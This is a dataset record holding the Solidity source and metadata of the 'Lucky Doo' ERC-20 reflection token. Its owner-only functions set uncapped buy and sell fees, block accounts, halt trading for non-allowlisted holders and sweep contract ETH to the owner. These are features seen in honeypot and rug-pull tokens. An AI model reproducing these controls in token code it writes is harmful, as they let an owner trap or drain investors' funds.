uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; excludeFromDividends(address(this), true); excludeFromDividends(address(dead), true); excludeFromDividends(address(_uniswapV2Router), true); _isAllowedToTradeWhenDisabled[owner()] = true; _isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true; _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true; _isExcludedFromMaxWalletLimit[address(this)] = true; _isExcludedFromMaxWalletLimit[owner()] = true; _isExcludedFromMaxTransactionLimit[address(this)] = true; _isExcludedFromMaxTransactionLimit[address(dead)] = true; _isExcludedFromMaxTransactionLimit[owner()] = true; _rOwned[owner()] = _rTotal; emit Transfer(address(0), owner(), _tTotal); } receive() external payable {} // Setters function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){ _approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero")); return true; } function _approve(address owner,address spender,uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getNow() private view returns (uint256) { return block.timestamp; } function launch() external onlyOwner { _launchStartTimestamp = _getNow(); _launchBlockNumber = block.number; isTradingEnabled = true; _isLaunched = true; } function cancelLaunch() external onlyOwner { require(this.isInLaunch(), "LuckyDooToken: Launch is not set"); _launchStartTimestamp = 0; _launchBlockNumber = 0; _isLaunched = false; } function activateTrading() external onlyOwner { isTradingEnabled = true; } function deactivateTrading() external onlyOwner { isTradingEnabled = false; _tradingPausedTimestamp = _getNow(); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; emit AutomatedMarketMakerPairChange(pair, value); } function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner { _isAllowedToTradeWhenDisabled[account] = allowed; emit AllowedWhenTradingDisabledChange(account, allowed); } function excludeFromFees(address account, bool excluded) external onlyOwner { require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromFee[account] = excluded; emit ExcludeFromFeesChange(account, excluded); } function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxWalletLimit[account] = excluded; emit ExcludeFromMaxWalletChange(account, excluded); } function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxTransactionLimit[account] = excluded; emit ExcludeFromMaxTransferChange(account, excluded); } function blockAccount(address account) external onlyOwner { uint256 currentTimestamp = _getNow(); require(!_isBlocked[account], "LuckyDooToken: Account is already blocked"); if (_isLaunched) { require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired"); } _isBlocked[account] = true; emit BlockedAccountChange(account, true); } function unblockAccount(address account) external onlyOwner { require(_isBlocked[account], "LuckyDooToken: Account is not blcoked"); _isBlocked[account] = false; emit BlockedAccountChange(account, false); } function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner { if(liquidityWallet != newLiquidityWallet) { require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0"); emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet); liquidityWallet = newLiquidityWallet; } if(devWallet != newDevWallet) { require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0"); emit WalletChange('devWallet', newDevWallet, devWallet); devWallet = newDevWallet; } if(marketingWallet != newMarketingWallet) { require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0"); emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } if(buyBackWallet != newBuyBackWallett) { require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0"); emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet); buyBackWallet = newBuyBackWallett; } } // Base fees function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch2 Fees function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch3 Fees function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } function setMaxWalletAmount(uint256 newValue) external onlyOwner { require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value"); emit MaxWalletAmountChange(newValue, maxWalletAmount); maxWalletAmount = newValue; } function setMaxTransactionAmount(uint256 newValue) external onlyOwner { require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value"); emit MaxTransactionAmountChange(newValue, maxTxAmount); maxTxAmount = newValue; } function excludeFromDividends(address account, bool excluded) public onlyOwner { require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); if(excluded) { if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedFromDividends[account] = excluded; _excludedFromDividends.push(account); } else { for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if (_excludedFromDividends[i] == account) { _excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1]; _tOwned[account] = 0; _isExcludedFromDividends[account] = false; _excludedFromDividends.pop(); break; } } } emit ExcludeFromDividendsChange(account, excluded); } function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner { require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value"); emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap); minimumTokensBeforeSwap = newValue; } function claimETHOverflow() external onlyOwner { require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance"); uint256 amount = address(this).balance; (bool success,) = address(owner()).call{value : amount}(""); if (success){ emit ClaimETHOverflow(amount); } } // Getters function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view virtual returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcludedFromDividends[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function totalFees() external view returns (uint256) { return _tFeeTotal; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function isInLaunch() external view returns (bool) { uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod; if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) { return true; } else { return false; } } function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy); } function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell); } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply"); uint256 currentRate = _getRate(); uint256 rAmount = tAmount * currentRate; if (!deductTransferFee) { return rAmount; } else { uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate; uint256 rTransferAmount = rAmount - rTotalFee; return rTransferAmount; } } // Main function _transfer( address from, address to, uint256 amount ) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance"); bool isBuyFromLp = automatedMarketMakerPairs[from]; bool isSelltoLp = automatedMarketMakerPairs[to]; bool _isInLaunch = this.isInLaunch(); if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) { require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled."); require(!_isBlocked[to], "LuckyDooToken: Account is blocked"); require(!_isBlocked[from], "LuckyDooToken: Account is blocked"); if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) { require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount."); } if (!_isExcludedFromMaxWalletLimit[to]) { require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount."); } } _adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch); bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap; if ( isTradingEnabled && canSwap && !_swapping && _totalFee > 0 && automatedMarketMakerPairs[to] && from != liquidityWallet && to != liquidityWallet && from != devWallet && to != devWallet && from != marketingWallet && to != marketingWallet && from != buyBackWallet && to != buyBackWallet ) { _swapping = true; _swapAndLiquify(); _swapping = false; } bool takeFee = !_swapping && isTradingEnabled; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private { (uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate()); if (_isExcludedFromDividends[sender]) { _tOwned[sender] = _tOwned[sender] - tAmount; } if (_isExcludedFromDividends[recipient]) { _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; } _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeContractFees(rOther, tOther); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal -= rFee; _tFeeTotal += tFee; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){ if (!takeFee) { return (tAmount, 0, 0); } else { uint256 tFee = tAmount * _holdersFee / 100; uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100; uint256 tTransferAmount = tAmount - (tFee + tOther); return (tTransferAmount, tFee, tOther); } } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tOther, uint256 currentRate ) private pure returns ( uint256, uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rOther = tOther * currentRate; uint256 rTransferAmount = rAmount - (rFee + rOther); return (rAmount, rTransferAmount, rFee, rOther); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if ( _rOwned[_excludedFromDividends[i]] > rSupply || _tOwned[_excludedFromDividends[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excludedFromDividends[i]]; tSupply = tSupply - _tOwned[_excludedFromDividends[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeContractFees(uint256 rOther, uint256 tOther) private { if (_isExcludedFromDividends[address(this)]) { _tOwned[address(this)] += tOther; } _rOwned[address(this)] += rOther; } function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private { uint256 blocksSinceLaunch = block.number - _launchBlockNumber; uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp; _liquidityFee = 0; _devFee = 0; _marketingFee = 0; _buyBackFee = 0; _holdersFee = 0; if (isBuyFromLp) { _liquidityFee = _base.liquidityFeeOnBuy; _devFee = _base.devFeeOnBuy; _marketingFee = _base.marketingFeeOnBuy; _buyBackFee = _base.buyBackFeeOnBuy; _holdersFee = _base.holdersFeeOnBuy; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnBuy; _devFee = _launch1.devFeeOnBuy; _marketingFee = _launch1.marketingFeeOnBuy; _buyBackFee = _launch1.buyBackFeeOnBuy; _holdersFee = _launch1.holdersFeeOnBuy; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnBuy; _devFee = _launch2.devFeeOnBuy; _marketingFee = _launch2.marketingFeeOnBuy; _buyBackFee = _launch2.buyBackFeeOnBuy; _holdersFee = _launch2.holdersFeeOnBuy; } else { _liquidityFee = _launch3.liquidityFeeOnBuy; _devFee = _launch3.devFeeOnBuy; _marketingFee = _launch3.marketingFeeOnBuy; _buyBackFee = _launch3.buyBackFeeOnBuy; _holdersFee = _launch3.holdersFeeOnBuy; } } } if (isSelltoLp) { _liquidityFee = _base.liquidityFeeOnSell; _devFee = _base.devFeeOnSell; _marketingFee = _base.marketingFeeOnSell; _buyBackFee = _base.buyBackFeeOnSell; _holdersFee = _base.holdersFeeOnSell; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnSell; _devFee = _launch1.devFeeOnSell; _marketingFee = _launch1.marketingFeeOnSell; _buyBackFee = _launch1.buyBackFeeOnSell; _holdersFee = _launch1.holdersFeeOnSell; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnSell; _devFee = _launch2.devFeeOnSell; _marketingFee = _launch2.marketingFeeOnSell; _buyBackFee = _launch2.buyBackFeeOnSell; _holdersFee = _launch2.holdersFeeOnSell; } else { _liquidityFee = _launch3.liquidityFeeOnSell; _devFee = _launch3.devFeeOnSell; _marketingFee = _launch3.marketingFeeOnSell; _buyBackFee = _launch3.buyBackFeeOnSell; _holdersFee = _launch3.holdersFeeOnSell; } } } _totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee; emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee); } function _setCustomSellTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell ) private { if (map.liquidityFeeOnSell != _liquidityFeeOnSell) { emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName); map.liquidityFeeOnSell = _liquidityFeeOnSell; } if (map.marketingFeeOnSell != _marketingFeeOnSell) { emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName); map.marketingFeeOnSell = _marketingFeeOnSell; } if (map.devFeeOnSell != _devFeeOnSell) { emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName); map.devFeeOnSell = _devFeeOnSell; } if (map.buyBackFeeOnSell != _buyBackFeeOnSell) { emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName); map.buyBackFeeOnSell = _buyBackFeeOnSell; } if (map.holdersFeeOnSell != _holdersFeeOnSell) { emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName); map.holdersFeeOnSell = _holdersFeeOnSell; } } function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy ) private { if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) { emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName); map.liquidityFeeOnBuy = _liquidityFeeOnBuy; } if (map.marketingFeeOnBuy != _marketingFeeOnBuy) { emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName); map.marketingFeeOnBuy = _marketingFeeOnBuy; } if (map.devFeeOnBuy != _devFeeOnBuy) { emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName); map.devFeeOnBuy = _devFeeOnBuy; } if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) { emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName); map.buyBackFeeOnBuy = _buyBackFeeOnBuy; } if (map.holdersFeeOnBuy != _holdersFeeOnBuy) { emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName); map.holdersFeeOnBuy = _holdersFeeOnBuy; } } function _swapAndLiquify() private { uint256 contractBalance = balanceOf(address(this)); uint256 initialETHBalance = address(this).balance; uint8 totalFeePrior = _totalFee; uint8 liquidityFeePrior = _liquidityFee; uint8 marketingFeePrior = _marketingFee; uint8 devFeePrior = _devFee; uint8 buyBackFeePrior = _buyBackFee; uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2; uint256 amountToSwapForETH = contractBalance - amountToLiquify; _swapTokensForETH(amountToSwapForETH); uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance; uint256 totalETHFee = _totalFee - (_liquidityFee / 2); uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2; uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee; uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee; uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack); payable(marketingWallet).transfer(amountETHMarketing); payable(devWallet).transfer(amountETHDev); payable(buyBackWallet).transfer(amountETHBuyBack); if (amountToLiquify > 0) { _addLiquidity(amountToLiquify, amountETHLiquidity); emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify); } _totalFee = totalFeePrior; _liquidityFee = liquidityFeePrior; _marketingFee = marketingFeePrior; _devFee = devFeePrior; _buyBackFee = buyBackFeePrior; } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityWallet, block.timestamp ); } }
setLaunch3FeesOnBuy
function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); }
//Launch3 Fees
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 13027, 13457 ] }
1,310
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; bool public isTradingEnabled; uint256 private _tradingPausedTimestamp; // max wallet is 2.0% of initialSupply uint256 public maxWalletAmount = _tTotal * 200 / 10000; // max tx is 0.53% of initialSupply uint256 public maxTxAmount = _tTotal * 530 / 100000; bool private _swapping; // max wallet is 0.025% of initialSupply uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000; address private dead = 0x000000000000000000000000000000000000dEaD; address public liquidityWallet; address public marketingWallet; address public devWallet; address public buyBackWallet; struct CustomTaxPeriod { bytes23 periodName; uint8 blocksInPeriod; uint256 timeInPeriod; uint8 liquidityFeeOnBuy; uint8 liquidityFeeOnSell; uint8 marketingFeeOnBuy; uint8 marketingFeeOnSell; uint8 devFeeOnBuy; uint8 devFeeOnSell; uint8 buyBackFeeOnBuy; uint8 buyBackFeeOnSell; uint8 holdersFeeOnBuy; uint8 holdersFeeOnSell; } // Launch taxes bool private _isLaunched; uint256 private _launchStartTimestamp; uint256 private _launchBlockNumber; CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2); CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5); CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4); // Base taxes CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2); CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2); uint256 private constant _blockedTimeLimit = 172800; mapping (address => bool) private _isAllowedToTradeWhenDisabled; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWalletLimit; mapping (address => bool) private _isExcludedFromMaxTransactionLimit; mapping (address => bool) private _isExcludedFromDividends; mapping (address => bool) private _isBlocked; mapping (address => bool) public automatedMarketMakerPairs; address[] private _excludedFromDividends; uint8 private _liquidityFee; uint8 private _devFee; uint8 private _marketingFee; uint8 private _buyBackFee; uint8 private _holdersFee; uint8 private _totalFee; event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value); event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress); event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet); event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee); event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period); event BlockedAccountChange(address indexed holder, bool indexed status); event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event ExcludeFromFeesChange(address indexed account, bool isExcluded); event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded); event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded); event ExcludeFromDividendsChange(address indexed account, bool isExcluded); event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded); event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity); event ClaimETHOverflow(uint256 amount); event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee); constructor() { liquidityWallet = owner(); marketingWallet = owner(); devWallet = owner(); buyBackWallet = owner(); IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; excludeFromDividends(address(this), true); excludeFromDividends(address(dead), true); excludeFromDividends(address(_uniswapV2Router), true); _isAllowedToTradeWhenDisabled[owner()] = true; _isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true; _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true; _isExcludedFromMaxWalletLimit[address(this)] = true; _isExcludedFromMaxWalletLimit[owner()] = true; _isExcludedFromMaxTransactionLimit[address(this)] = true; _isExcludedFromMaxTransactionLimit[address(dead)] = true; _isExcludedFromMaxTransactionLimit[owner()] = true; _rOwned[owner()] = _rTotal; emit Transfer(address(0), owner(), _tTotal); } receive() external payable {} // Setters function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){ _approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { 